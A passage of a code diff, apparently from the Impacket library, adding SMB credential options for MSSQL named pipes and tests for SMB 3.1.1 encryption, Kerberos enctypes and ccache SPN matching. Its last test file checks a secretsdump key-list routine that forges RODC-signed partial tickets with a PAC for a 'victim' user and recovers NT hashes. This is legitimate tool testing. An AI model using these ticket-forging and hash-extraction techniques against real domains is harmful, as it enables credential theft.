used only for the SQL + MSSQLSvc authentication; SMB obtains its own cifs/ service ticket. + + The optional smbUsername, smbPassword, smbDomain, and smbHashes values + provide separate NTLM credentials for the SMB transport. SQL Server + Windows authentication over named pipes uses the SMB-authenticated + Windows identity as the effective SQL login. + """ if hashes is not None: lmhash, nthash = hashes.split(":") lmhash = binascii.a2b_hex(lmhash) @@ -1600,6 +1779,44 @@ def kerberosLogin( lmhash = "" nthash = "" + if self.pipe_name: + separate_smb_credentials = any( + value is not None + for value in (smbUsername, smbPassword, smbDomain, smbHashes) + ) + if separate_smb_credentials: + if smbHashes is not None: + smbLMHash, smbNTHash = smbHashes.split(":") + smbLMHash = binascii.a2b_hex(smbLMHash) + smbNTHash = binascii.a2b_hex(smbNTHash) + else: + smbLMHash = "" + smbNTHash = "" + self._create_named_pipe_transport( + username if smbUsername is None else smbUsername, + password if smbPassword is None else smbPassword, + domain if smbDomain is None else smbDomain, + smbLMHash, + smbNTHash, + kerberos=False, + ) + else: + # A TGS supplied to this method is for MSSQLSvc. The SMB layer + # must acquire its own cifs/ ticket, using the TGT or cache. + self._create_named_pipe_transport( + username, + password, + domain, + lmhash, + nthash, + kerberos=True, + aesKey=aesKey, + kdcHost=kdcHost, + TGT=TGT, + TGS=None, + useCache=useCache, + ) + resp = self._negotiate_encryption() # That part is used to compute the Version field for the NTLM_NEGOTIATE and NTLM_AUTHENTICATE messages @@ -1859,7 +2076,20 @@ def login( hashes=None, useWindowsAuth=False, cbt_fake_value=None, + smbUsername=None, + smbPassword=None, + smbDomain=None, + smbHashes=None, ): + """Authenticate to SQL Server with SQL or NTLM Windows authentication. + + When using a named-pipe transport, the optional smbUsername, + smbPassword, smbDomain, and smbHashes values authenticate the outer SMB + connection. With useWindowsAuth=True, SQL Server uses that + SMB-authenticated Windows identity as the effective SQL login. With + SQL-native authentication, the SMB and SQL identities remain + independent. + """ if hashes is not None: lmhash, nthash = hashes.split(":") @@ -1869,6 +2099,24 @@ def login( lmhash = "" nthash = "" + if self.pipe_name: + # Authenticates through the SMB named pipe directly. + if smbHashes is not None: + smbLMHash, smbNTHash = smbHashes.split(":") + smbLMHash = binascii.a2b_hex(smbLMHash) + smbNTHash = binascii.a2b_hex(smbNTHash) + else: + smbLMHash = lmhash + smbNTHash = nthash + self._create_named_pipe_transport( + username if smbUsername is None else smbUsername, + password if smbPassword is None else smbPassword, + domain if smbDomain is None else smbDomain, + smbLMHash, + smbNTHash, + kerberos=False, + ) + resp = self._negotiate_encryption() # That part is used to compute the Version field for the NTLM_NEGOTIATE and NTLM_AUTHENTICATE messages diff --git a/tests/SMB_RPC/test_ntlm.py b/tests/SMB_RPC/test_ntlm.py index 993d45b434..15bb088d96 100644 --- a/tests/SMB_RPC/test_ntlm.py +++ b/tests/SMB_RPC/test_ntlm.py @@ -312,6 +312,49 @@ def test_av_pairs_container_protocol(self): self.assertNotIn(ntlm.NTLMSSP_AV_DNS_DOMAINNAME,av_pairs) self.assertEqual(list(av_pairs), [ntlm.NTLMSSP_AV_DOMAINNAME]) + def test_high_level_functions_decode_bytes_arguments(self): + class TrackedBytes(bytes): + def __new__(cls, value): + instance = super(TrackedBytes, cls).__new__(cls, value) + instance.decode_called = False + return instance + + def decode(self, encoding): + self.decode_called = True + return super(TrackedBytes, self).decode(encoding) + + workstation = TrackedBytes(b'workstation') + type1_domain = TrackedBytes(b'domain') + type1 = ntlm.getNTLMSSPType1(workstation, type1_domain) + self.assertEqual(type1.getWorkstation(), 'workstation') + self.assertTrue(workstation.decode_called) + self.assertTrue(type1_domain.decode_called) + + user = TrackedBytes(b'user') + password = TrackedBytes(b'password') + type3_domain = TrackedBytes(b'domain') + + class NormalizationComplete(Exception): + pass + + def stop_after_normalization(_): + raise NormalizationComplete() + + original_challenge = ntlm.NTLMAuthChallenge + ntlm.NTLMAuthChallenge = stop_after_normalization + try: + with self.assertRaises(NormalizationComplete): + ntlm.getNTLMSSPType3(type1, None, user, password, type3_domain) + finally: + ntlm.NTLMAuthChallenge = original_challenge + + self.assertTrue(user.decode_called) + self.assertTrue(password.decode_called) + self.assertTrue(type3_domain.decode_called) + + def test_compute_nthash_accepts_text_and_bytes(self): + self.assertEqual(ntlm.compute_nthash('Password'), ntlm.compute_nthash(b'Password')) + def __pack_and_parse(self, message, expected): data = message.getData() hexdump(data) diff --git a/tests/SMB_RPC/test_smbserver.py b/tests/SMB_RPC/test_smbserver.py index f7ba4b83b6..4a6a282d7b 100644 --- a/tests/SMB_RPC/test_smbserver.py +++ b/tests/SMB_RPC/test_smbserver.py @@ -77,14 +77,16 @@ import unittest from time import sleep from os.path import exists, join -from os import mkdir, rmdir, remove +from os import mkdir, rmdir, remove, urandom from multiprocessing import Process from six import PY2, StringIO, BytesIO, b, assertRaisesRegex, assertCountEqual from impacket.smb import SMB_DIALECT -from impacket.smbserver import normalize_path, isInFileJail, SimpleSMBServer, SMBSERVER +from impacket.smbserver import normalize_path, isInFileJail, SimpleSMBServer, SMBSERVER, SMB2Commands from impacket.smbconnection import SMBConnection, SessionError, compute_lmhash, compute_nthash +from impacket.nt_errors import STATUS_NOT_SUPPORTED +from impacket import smb3structs as smb2 from threading import Thread import select @@ -688,6 +690,7 @@ class SimpleSMBServer2FuncTestsClientFallBack(SimpleSMBServerFuncTests): class SimpleSMBServer2FuncTests(SimpleSMBServerFuncTests): server_smb2_support = True + client_preferred_dialect = smb2.SMB2_DIALECT_002 # When listing files in a share, SMB2 response doesn't include "." and ".." share_list = [SimpleSMBServerFuncTests.share_file, @@ -726,5 +729,233 @@ def test_smbserver_delete_directory(self): client.close() +class SimpleSMBServer21FuncTests(SimpleSMBServer2FuncTests): + + client_preferred_dialect = smb2.SMB2_DIALECT_21 + + +class SimpleSMBServer311FuncTests(SimpleSMBServer2FuncTests): + """Runs the full SimpleSMBServerFuncTests/SimpleSMBServer2FuncTests suite over SMB 3.1.1. + + impacket's own SMBConnection client only ever negotiates AES-128-CCM (see smb3.py's + SMB2EncryptionCapabilities), so this exercises the encrypted request/response path with + that cipher end to end: negotiate, session setup, encrypted reads/writes/deletes and the + LOGOFF at teardown all flow through _encryptSMB3/_decryptSMB3 and the compound-response + finalization in processRequest. AES-128-GCM and the byte-level transform header checks + are covered separately in SMB2Server311UnitTests, since the client can't negotiate GCM. + """ + + server_smb2_support = True + client_preferred_dialect = smb2.SMB2_DIALECT_311 + + +class SMB2Server311UnitTests(unittest.TestCase): + """Unit tests for the SMB 3.1.1 additions to SMB2Commands and SMBSERVER. + + These call the negotiate handler and the transform header encrypt/decrypt methods + directly against a live SMBSERVER instance, without going over the network, so they + can exercise both ciphers and inject malformed input that a real client wouldn't send. + """ + + address = "127.0.0.1" + port = 14461 + conn_id = "unit-test-connection" + + def setUp(self): + self.smbserver = SimpleSMBServer(listenAddress=self.address, listenPort=self.port, + smbserverclass=SMBSERVERForTests) + self.smbserver.setSMB2Support(True) + self.server = self.smbserver.getServer() + self.server.addConnection(self.conn_id, self.address, 55555) + + def tearDown(self): + self.smbserver.stop() + + def _connData(self): + return self.server.getConnectionData(self.conn_id, False) + + @staticmethod + def _negotiateRequest(dialects, dialectCount=None): + negotiate = smb2.SMB2Negotiate() + negotiate['SecurityMode'] = 0 + negotiate['Capabilities'] = 0 + negotiate['ClientGuid'] = b'\x00' * 16 + negotiate['ClientStartTime'] = b'\x00' * 8 + negotiate['DialectCount'] = len(dialects) if dialectCount is None else dialectCount + negotiate['Dialects'] = dialects + + packet = smb2.SMB2Packet() + packet['Command'] = smb2.SMB2_NEGOTIATE + packet['MessageID'] = 0 + packet['Data'] = negotiate.getData() + return packet + + def test_negotiate_rejects_dialect_the_client_never_offered(self): + """A request offering only an unsupported dialect must get STATUS_NOT_SUPPORTED, + not a silent downgrade to 2.002 (see fortra/impacket#2216 review comment). + """ + recvPacket = self._negotiateRequest([smb2.SMB2_DIALECT_30]) + + respCommands, respPackets, errorCode = SMB2Commands.smbNegotiate( + self.conn_id, self.server, recvPacket, isSMB1=False) + + self.assertIsNone(respCommands) + self.assertEqual(errorCode, STATUS_NOT_SUPPORTED) + self.assertEqual(len(respPackets), 1) + self.assertEqual(respPackets[0]['Status'], STATUS_NOT_SUPPORTED) + + def test_negotiate_ignores_dialects_leaking_past_dialect_count(self): + """SMB2Negotiate.Dialects is a greedy array that consumes all remaining bytes, + including the SMB 3.1.1 negotiate contexts appended after it. A request declaring + one unsupported dialect, followed by bytes that happen to look like a supported + one, must still be rejected: only DialectCount entries are real dialects. + """ + recvPacket = self._negotiateRequest([smb2.SMB2_DIALECT_30, smb2.SMB2_DIALECT_311], dialectCount=1) + + respCommands, respPackets, errorCode = SMB2Commands.smbNegotiate( + self.conn_id, self.server, recvPacket, isSMB1=False) + + self.assertEqual(errorCode, STATUS_NOT_SUPPORTED) + + def test_encrypt_transform_flags_are_always_0x0001(self): + """The transform header's Flags/EncryptionAlgorithm field is fixed at 0x0001 for + SMB 3.1.1 regardless of the negotiated cipher: the cipher itself is carried in the + connection state, not in this field (MS-SMB2 3.1.4.3, 3.1.4.1.1). + """ + for cipherId in (smb2.SMB2_ENCRYPTION_AES128_CCM, smb2.SMB2_ENCRYPTION_AES128_GCM): + with self.subTest(cipherId=cipherId): + connData = self._connData() + connData['SessionEncryptionKey'] = urandom(16) + connData['CipherId'] = cipherId + self.server.setConnectionData(self.conn_id, connData) + + wireData = self.server._encryptSMB3(self.conn_id, b'plaintext SMB2 payload', 0xAABBCCDD) + transform = smb2.SMB2_TRANSFORM_HEADER(wireData) + + self.assertEqual(transform['EncryptionAlgorithm'], 0x0001) + self.assertEqual(transform['SessionID'], 0xAABBCCDD) + + def test_encrypt_decrypt_round_trip_both_ciphers(self): + """A message encrypted for a given cipher must decrypt back to the same plaintext.""" + for cipherId in (smb2.SMB2_ENCRYPTION_AES128_CCM, smb2.SMB2_ENCRYPTION_AES128_GCM): + with self.subTest(cipherId=cipherId): + key = urandom(16) + connData = self._connData() + connData['SessionEncryptionKey'] = key + connData['SessionDecryptionKey'] = key + connData['CipherId'] = cipherId + connData['Uid'] = 0x1122334455667788 + self.server.setConnectionData(self.conn_id, connData) + + plainText = b'legitimate SMB2 response payload' + wireData = self.server._encryptSMB3(self.conn_id, plainText, connData['Uid']) + recovered = self.server._decryptSMB3(self.conn_id, wireData) + + self.assertEqual(recovered, plainText) + + def test_decrypt_rejects_corrupted_ciphertext(self): + """A single flipped bit in the ciphertext must be rejected, not silently decrypted + into garbage and processed further (MS-SMB2 3.3.5.2.1: signature verification). + """ + key = urandom(16) + connData = self._connData() + connData['SessionEncryptionKey'] = key + connData['SessionDecryptionKey'] = key + connData['CipherId'] = smb2.SMB2_ENCRYPTION_AES128_GCM + connData['Uid'] = 0x1122334455667788 + self.server.setConnectionData(self.conn_id, connData) + + wireData = self.server._encryptSMB3(self.conn_id, b'legitimate SMB2 response payload', connData['Uid']) + + tampered = bytearray(wireData) + tampered[-1] ^= 0xFF + + with self.assertRaises(ValueError): + self.server._decryptSMB3(self.conn_id, bytes(tampered)) + + def test_compound_response_uses_a_single_transform_header(self): + """An encrypted compound response must be one TRANSFORM_HEADER wrapping the whole + chain, not one TRANSFORM_HEADER per command (MS-SMB2 3.1.4.3): decrypting the wire + data once should yield both SMB2 responses, linked by NextCommand. + """ + connData = self._connData() + key = urandom(16) + connData['Authenticated'] = True + connData['SignatureEnabled'] = False + connData['SessionEncryptionKey'] = key + connData['SessionDecryptionKey'] = key + connData['CipherId'] = smb2.SMB2_ENCRYPTION_AES128_GCM + connData['EncryptData'] = True + connData['Dialect'] = smb2.SMB2_DIALECT_311 + connData['Uid'] = 0x99 + self.server.setConnectionData(self.conn_id, connData) + + def echoRequest(messageId): + packet = smb2.SMB2Packet() + packet['Command'] = smb2.SMB2_ECHO + packet['MessageID'] = messageId + packet['CreditCharge'] = 1 + packet['CreditRequestResponse'] = 1 + packet['Data'] = smb2.SMB2Echo() + return packet + + first = echoRequest(0) + firstBytes = first.getData() + padLen = (-len(firstBytes)) % 8 + first['NextCommand'] = len(firstBytes) + padLen + firstBytes = first.getData() + padLen * b'\x00' + + secondBytes = echoRequest(1).getData() + + responses = self.server.processRequest(self.conn_id, firstBytes + secondBytes) + + self.assertEqual(len(responses), 1) + self.assertEqual(responses[0][:4], b'\xfdSMB') + + plainText = self.server._decryptSMB3(self.conn_id, responses[0]) + firstResponse = smb2.SMB2Packet(plainText) + self.assertEqual(firstResponse['Command'], smb2.SMB2_ECHO) + self.assertNotEqual(firstResponse['NextCommand'], 0) + + secondResponse = smb2.SMB2Packet(plainText[firstResponse['NextCommand']:]) + self.assertEqual(secondResponse['Command'], smb2.SMB2_ECHO) + + def test_encrypted_logoff_response_keeps_the_real_session_id(self): + """smb2Logoff() clears connData['Uid'] before the response is encrypted later in + processRequest, so an encrypted LOGOFF response used to carry SessionId 0 in its + transform header instead of the session that was actually logged off. + """ + sessionId = 0x1122334455667788 + connData = self._connData() + key = urandom(16) + connData['Authenticated'] = True + connData['SignatureEnabled'] = False + connData['SessionEncryptionKey'] = key + connData['SessionDecryptionKey'] = key + connData['CipherId'] = smb2.SMB2_ENCRYPTION_AES128_GCM + connData['EncryptData'] = True + connData['Dialect'] = smb2.SMB2_DIALECT_311 + connData['Uid'] = sessionId + self.server.setConnectionData(self.conn_id, connData) + + logoffRequest = smb2.SMB2Packet() + logoffRequest['Command'] = smb2.SMB2_LOGOFF + logoffRequest['MessageID'] = 0 + logoffRequest['SessionID'] = sessionId + logoffRequest['Data'] = smb2.SMB2Logoff() + + responses = self.server.processRequest(self.conn_id, logoffRequest.getData()) + + self.assertEqual(len(responses), 1) + self.assertEqual(responses[0][:4], b'\xfdSMB') + + # connData['Uid'] is 0 by now (smb2Logoff already cleared it), so the transform + # header is checked directly rather than through _decryptSMB3's own session + # lookup, which is written for validating incoming requests against live sessions. + transform = smb2.SMB2_TRANSFORM_HEADER(responses[0]) + self.assertEqual(transform['SessionID'], sessionId) + self.assertEqual(self._connData()['Uid'], 0) + + if __name__ == "__main__": unittest.main(verbosity=1) diff --git a/tests/dcerpc/test_dcomrt.py b/tests/dcerpc/test_dcomrt.py index aa67101301..a35c06fb86 100644 --- a/tests/dcerpc/test_dcomrt.py +++ b/tests/dcerpc/test_dcomrt.py @@ -26,6 +26,7 @@ import pytest import unittest +from unittest.mock import Mock, patch from tests import RemoteTestCase from tests.dcerpc import DCERPCTests @@ -36,6 +37,17 @@ class InterfaceTests(unittest.TestCase): + def setUp(self): + self._portmaps = dcomrt.DCOMConnection.PORTMAPS.copy() + self._connections = dcomrt.INTERFACE.CONNECTIONS.copy() + dcomrt.DCOMConnection.PORTMAPS.clear() + dcomrt.INTERFACE.CONNECTIONS.clear() + + def tearDown(self): + dcomrt.DCOMConnection.PORTMAPS.clear() + dcomrt.DCOMConnection.PORTMAPS.update(self._portmaps) + dcomrt.INTERFACE.CONNECTIONS.clear() + dcomrt.INTERFACE.CONNECTIONS.update(self._connections) def test_is_target_loopback(self): interface = dcomrt.INTERFACE.__new__(dcomrt.INTERFACE) @@ -48,6 +60,49 @@ def test_is_target_loopback(self): interface._INTERFACE__target = target self.assertFalse(interface.is_target_loopback()) + def test_interface_keeps_connection_info_after_portmap_is_removed(self): + target = 'issue-2212-target' + credentials = ('user', 'password', 'domain', '', '', '', None, None) + rpcTransport = Mock() + rpcTransport.get_kerberos.return_value = False + rpcTransport.get_kdcHost.return_value = None + portmap = Mock() + portmap.get_rpc_transport.return_value = rpcTransport + portmap.get_credentials.return_value = credentials + dce = Mock() + dcomInterface = Mock() + dcomInterface.get_dce_rpc.return_value = dce + + orpc = dcomrt.ORPCTHIS() + orpc['extensions'] = dcomrt.NULL + orpc['flags'] = 1 + classInstance = dcomrt.CLASS_INSTANCE( + orpc, + [{'wTowerId': 7, 'aNetworkAddr': target + '[49667]\x00'}], + portmap, + ) + interface = dcomrt.INTERFACE( + classInstance, + None, + ipidRemUnknown=b'\x00' * 16, + iPid=b'\x11' * 16, + oxid=0x2222, + oid=0x3333, + target=target, + ) + + dcomrt.DCOMConnection.PORTMAPS[target] = portmap + del dcomrt.DCOMConnection.PORTMAPS[target] + + with patch.object(dcomrt.transport, 'DCERPCTransportFactory', return_value=dcomInterface): + interface.connect(dcomrt.IID_IRemUnknown) + + dcomInterface.set_credentials.assert_called_once_with(*credentials) + dcomInterface.set_kerberos.assert_called_once_with(False, None) + dcomInterface.set_connect_timeout.assert_called_once_with(300) + dce.connect.assert_called_once_with() + dce.bind.assert_called_once_with(dcomrt.IID_IRemUnknown) + class DCOMTests(DCERPCTests): diff --git a/tests/misc/test_ccache.py b/tests/misc/test_ccache.py index 19e00ae581..4eb4d31a21 100644 --- a/tests/misc/test_ccache.py +++ b/tests/misc/test_ccache.py @@ -21,7 +21,9 @@ FileNotFoundError = IOError else: from unittest import mock -from impacket.krb5.ccache import AuthData, CCache, CountedOctetString, Credential +from impacket.krb5 import types +from impacket.krb5.ccache import AuthData, CCache, CountedOctetString, Credential, Principal +from impacket.krb5.constants import PrincipalNameType class CCACHETests(unittest.TestCase): @@ -138,6 +140,27 @@ def test_credential_with_authdata_roundtrip(self): self.assertEqual(reparsed.authData[0]["authtype"], 1) self.assertEqual(reparsed.authData[0]["authdata"]["data"], b"\xde\xad\xbe\xef") + def test_ccache_getCredential_three_part_spn(self): + # Regression test for the 3-part SPN fix (service/host/domain@REALM), + # seen in multi domain forests ldap tickets + realm = "FOREST.LOCAL" + cached_spn = "LDAP/DC01.CHILD-A.LOCAL/CHILD-A.LOCAL@{}".format(realm) + + ccache = CCache() + cred = Credential() + cred["server"] = Principal() + cred["server"].fromPrincipal(types.Principal(cached_spn, type=PrincipalNameType.NT_SRV_INST.value)) + ccache.credentials.append(cred) + + # Exact same 3-part SPN -> should match + self.assertIsNotNone(ccache.getCredential(cached_spn)) + + # Short hostname request for the same host -> should match + self.assertIsNotNone(ccache.getCredential("LDAP/DC01/CHILD-A.LOCAL@{}".format(realm))) + + # Same short hostname, different child domain -> must not match + self.assertIsNone(ccache.getCredential("LDAP/DC01.CHILD-B.LOCAL/CHILD-B.LOCAL@{}".format(realm))) + if __name__ == "__main__": unittest.main(verbosity=1) diff --git a/tests/misc/test_kerberosv5.py b/tests/misc/test_kerberosv5.py new file mode 100644 index 0000000000..4992b37d7c --- /dev/null +++ b/tests/misc/test_kerberosv5.py @@ -0,0 +1,112 @@ +from unittest import TestCase, mock + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket.krb5 import constants +from impacket.krb5.asn1 import AS_REP, TGS_REQ, seq_set +from impacket.krb5.kerberosv5 import DEFAULT_TGS_ENCTYPES, RC4_PREFERRED_TGS_ENCTYPES, KerberosError, \ + getKerberosTGS, getKerberosTGSRequestEnctypes +from impacket.krb5.types import Principal + + +class _RC4Cipher: + enctype = constants.EncryptionTypes.rc4_hmac.value + + @staticmethod + def encrypt(key, keyUsage, data, iv): + return b'encrypted-authenticator' + + +class KerberosTGSEnctypeTests(TestCase): + @staticmethod + def _build_rc4_tgt(): + asRep = AS_REP() + asRep['pvno'] = 5 + asRep['msg-type'] = constants.ApplicationTagNumbers.AS_REP.value + asRep['crealm'] = 'EXAMPLE.COM' + seq_set( + asRep, + 'cname', + Principal('user', type=constants.PrincipalNameType.NT_PRINCIPAL.value).components_to_asn1, + ) + + asRep['ticket'] = noValue + asRep['ticket']['tkt-vno'] = 5 + asRep['ticket']['realm'] = 'EXAMPLE.COM' + seq_set( + asRep['ticket'], + 'sname', + Principal( + 'krbtgt/EXAMPLE.COM', + type=constants.PrincipalNameType.NT_SRV_INST.value, + ).components_to_asn1, + ) + asRep['ticket']['enc-part'] = noValue + asRep['ticket']['enc-part']['etype'] = constants.EncryptionTypes.rc4_hmac.value + asRep['ticket']['enc-part']['cipher'] = b'ticket' + + asRep['enc-part'] = noValue + asRep['enc-part']['etype'] = constants.EncryptionTypes.rc4_hmac.value + asRep['enc-part']['cipher'] = b'reply' + return encoder.encode(asRep) + + def _assert_request_enctypes(self, requestedEtypes, expectedEtypes): + requests = [] + + def capture_request(data, domain, kdcHost): + tgsReq = decoder.decode(data, asn1Spec=TGS_REQ())[0] + requests.append(tuple(int(etype) for etype in tgsReq['req-body']['etype'])) + raise KerberosError(constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value) + + with mock.patch('impacket.krb5.kerberosv5.sendReceive', side_effect=capture_request) as sendReceive: + with self.assertRaises(KerberosError): + getKerberosTGS( + Principal('cifs/server.example.com', type=constants.PrincipalNameType.NT_SRV_INST.value), + 'EXAMPLE.COM', + None, + self._build_rc4_tgt(), + _RC4Cipher(), + object(), + etypes=requestedEtypes, + ) + + sendReceive.assert_called_once() + self.assertEqual(requests, [expectedEtypes]) + + def test_default_tgs_enctypes_are_aes_first(self): + self.assertEqual( + getKerberosTGSRequestEnctypes(), + ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, + constants.EncryptionTypes.rc4_hmac.value, + constants.EncryptionTypes.des3_cbc_sha1_kd.value, + constants.EncryptionTypes.des_cbc_md5.value, + ), + ) + self.assertEqual(getKerberosTGSRequestEnctypes(), DEFAULT_TGS_ENCTYPES) + + def test_tgs_enctype_override_is_normalized(self): + self.assertEqual( + getKerberosTGSRequestEnctypes( + ( + constants.EncryptionTypes.rc4_hmac, + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, + ) + ), + ( + constants.EncryptionTypes.rc4_hmac.value, + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, + ), + ) + + def test_empty_tgs_enctype_override_is_rejected(self): + with self.assertRaises(ValueError): + getKerberosTGSRequestEnctypes(()) + + def test_rc4_tgt_advertises_default_enctypes_in_one_request(self): + self._assert_request_enctypes(None, DEFAULT_TGS_ENCTYPES) + + def test_rc4_preference_can_be_requested_explicitly(self): + self._assert_request_enctypes(RC4_PREFERRED_TGS_ENCTYPES, RC4_PREFERRED_TGS_ENCTYPES) diff --git a/tests/misc/test_keylist_pac.py b/tests/misc/test_keylist_pac.py new file mode 100644 index 0000000000..c777ba72f1 --- /dev/null +++ b/tests/misc/test_keylist_pac.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Local (no-DC) tests for the KERB-KEY-LIST partial TGT built by +# KeyListSecrets.createPartialTGT(). Regression guard for the fix that embeds +# a full, RODC-signed PAC so PAC-hardened DCs accept the RODC-issued ticket +# (see issue #1667). +# +import unittest +from binascii import unhexlify +from datetime import datetime, timezone + +from impacket.krb5 import constants, pac +from impacket.krb5.asn1 import EncTicketPart, AuthorizationData, TGS_REP, EncTGSRepPart, \ + KERB_KEY_LIST_REP, EncryptionKey +from impacket.krb5.crypto import Key, _enctype_table +from impacket.krb5.types import Principal, KerberosTime +from impacket.examples.secretsdump import KeyListSecrets + +from pyasn1.codec.der import decoder, encoder +from pyasn1.error import PyAsn1Error +from pyasn1.type.univ import noValue + + +class TestKeyListPac(unittest.TestCase): + + RODC_KEY = 'ab' * 32 # 32-byte AES256 key, hex + RODC_NO = 5 + DOMAIN = 'contoso.com' + DOMAIN_SID = 'S-1-5-21-1-2-3' + USER = 'victim' + USER_RID = 1103 + + def _build_ticket(self): + kl = KeyListSecrets(self.DOMAIN, 'dc01.%s' % self.DOMAIN, self.RODC_NO, self.RODC_KEY, None) + userName = Principal(self.USER, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + partialTGT, sessionKey = kl.createPartialTGT(userName, self.USER_RID, self.DOMAIN_SID) + return partialTGT, sessionKey + + def _decrypt_enc_ticket_part(self, partialTGT): + cipher = _enctype_table[int(partialTGT['enc-part']['etype'])] + key = Key(cipher.enctype, unhexlify(self.RODC_KEY)) + # Key usage 2 = AS/TGS-REP ticket, encrypted with the service (krbtgt) key + plain = cipher.decrypt(key, 2, partialTGT['enc-part']['cipher'].asOctets()) + return decoder.decode(plain, asn1Spec=EncTicketPart())[0] + + @staticmethod + def _parse_pac_buffers(pac_data): + pac_type = pac.PACTYPE(pac_data) + blob = pac_type['Buffers'] + infos = {} + offset = 0 + for _ in range(pac_type['cBuffers']): + info_buffer = pac.PAC_INFO_BUFFER(blob[offset:]) + offset += len(info_buffer) + start = info_buffer['Offset'] + infos[info_buffer['ulType']] = pac_data[start:start + info_buffer['cbBufferSize']] + return infos + + def test_kvno_encodes_rodc_number(self): + partialTGT, _ = self._build_ticket() + self.assertEqual(int(partialTGT['enc-part']['kvno']), self.RODC_NO << 16) + + def test_partial_tgt_embeds_win2k_pac(self): + partialTGT, _ = self._build_ticket() + encTicketPart = self._decrypt_enc_ticket_part(partialTGT) + + authData = encTicketPart['authorization-data'] + self.assertTrue(authData.hasValue(), 'authorization-data must be present (a PAC), not empty') + self.assertEqual(int(authData[0]['ad-type']), constants.AuthorizationDataType.AD_IF_RELEVANT.value) + + inner = decoder.decode(authData[0]['ad-data'].asOctets(), asn1Spec=AuthorizationData())[0] + self.assertEqual(int(inner[0]['ad-type']), constants.AuthorizationDataType.AD_WIN2K_PAC.value) + + infos = self._parse_pac_buffers(inner[0]['ad-data'].asOctets()) + # PAC_ATTRIBUTES_INFO / PAC_REQUESTOR are required by CVE-2021-42287-patched DCs + for ulType in (pac.PAC_LOGON_INFO, pac.PAC_CLIENT_INFO_TYPE, + pac.PAC_ATTRIBUTES_INFO, pac.PAC_REQUESTOR_INFO, + pac.PAC_SERVER_CHECKSUM, pac.PAC_PRIVSVR_CHECKSUM): + self.assertIn(ulType, infos) + + clientInfo = pac.PAC_CLIENT_INFO(infos[pac.PAC_CLIENT_INFO_TYPE]) + self.assertEqual(bytes(clientInfo['Name']).decode('utf-16le'), self.USER) + + # PAC_REQUESTOR SID must match the ticket client (domainSid-userRid) + requestor = pac.PAC_REQUESTOR(infos[pac.PAC_REQUESTOR_INFO]) + self.assertEqual(requestor['UserSid'].formatCanonical(), + '%s-%d' % (self.DOMAIN_SID, self.USER_RID)) + + def test_pac_signatures_use_rodc_key(self): + # The DC re-checks the PAC signatures with the RODC krbtgt key. Re-sign the + # extracted buffers with the same key and assert the embedded server + # signature matches -> the PAC is validly RODC-signed (AES256, salt 17). + partialTGT, _ = self._build_ticket() + encTicketPart = self._decrypt_enc_ticket_part(partialTGT) + inner = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'].asOctets(), + asn1Spec=AuthorizationData())[0] + infos = self._parse_pac_buffers(inner[0]['ad-data'].asOctets()) + + embedded = pac.PAC_SIGNATURE_DATA(infos[pac.PAC_SERVER_CHECKSUM]) + self.assertEqual(int(embedded['SignatureType']), constants.ChecksumTypes.hmac_sha1_96_aes256.value) + + resigned = pac.sign_pac( + dict(infos), aes_key=self.RODC_KEY, + buffer_order=[pac.PAC_LOGON_INFO, pac.PAC_CLIENT_INFO_TYPE, + pac.PAC_ATTRIBUTES_INFO, pac.PAC_REQUESTOR_INFO, + pac.PAC_SERVER_CHECKSUM, pac.PAC_PRIVSVR_CHECKSUM], + checksum_salt=constants.KERB_NON_KERB_CKSUM_SALT) + reInfos = self._parse_pac_buffers(resigned.getData()) + reSig = pac.PAC_SIGNATURE_DATA(reInfos[pac.PAC_SERVER_CHECKSUM]) + self.assertEqual(bytes(embedded['Signature']), bytes(reSig['Signature'])) + + def test_missing_rid_logs_warning(self): + # A missing RID falls back to a placeholder requestor SID -- warn the operator. + kl = KeyListSecrets(self.DOMAIN, 'dc01.%s' % self.DOMAIN, + self.RODC_NO, self.RODC_KEY, None) + userName = Principal(self.USER, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + with self.assertLogs(level='WARNING') as cm: + kl.createPartialTGT(userName, None, self.DOMAIN_SID) + self.assertTrue(any('RID' in m for m in cm.output)) + + +class TestKeyListGetKey(unittest.TestCase): + # getKey() must find KERB-KEY-LIST-REP by PA-DATA type, not assume it is the + # first entry of encrypted_pa_data. Modern DCs also return PA-SUPPORTED-ENCTYPES + # (type 165) there, and the order is not guaranteed. + + DOMAIN = 'contoso.com' + USER = 'victim' + SESSION_KEY = b'\x11' * 16 # rc4_hmac session key + NT_HASH = unhexlify('cafebabecafebabecafebabecafebabe') + + def _build_tgs_rep(self, pa_entries): + # pa_entries: list of (padata_type, padata_value_bytes), encoded in order. + etype = int(constants.EncryptionTypes.rc4_hmac.value) + now = KerberosTime.to_asn1(datetime.now(timezone.utc)) + + enc = EncTGSRepPart() + enc['key'] = noValue + enc['key']['keytype'] = etype + enc['key']['keyvalue'] = self.SESSION_KEY + enc['last-req'] = noValue + enc['last-req'][0] = noValue + enc['last-req'][0]['lr-type'] = 0 + enc['last-req'][0]['lr-value'] = now + enc['nonce'] = 0 + enc['flags'] = constants.encodeFlags([]) + enc['authtime'] = now + enc['endtime'] = now + enc['srealm'] = self.DOMAIN.upper() + enc['sname'] = noValue + enc['sname']['name-type'] = constants.PrincipalNameType.NT_SRV_INST.value + enc['sname']['name-string'][0] = 'krbtgt' + enc['sname']['name-string'][1] = self.DOMAIN.upper() + enc['encrypted_pa_data'] = noValue + for i, (paType, paValue) in enumerate(pa_entries): + enc['encrypted_pa_data'][i] = noValue + enc['encrypted_pa_data'][i]['padata-type'] = paType + enc['encrypted_pa_data'][i]['padata-value'] = paValue + + cipher = _enctype_table[etype] + key = Key(cipher.enctype, self.SESSION_KEY) + # key usage 8 = TGS-REP enc-part encrypted with the TGS session key + encPart = cipher.encrypt(key, 8, encoder.encode(enc), None) + + tgsRep = TGS_REP() + tgsRep['pvno'] = 5 + tgsRep['msg-type'] = 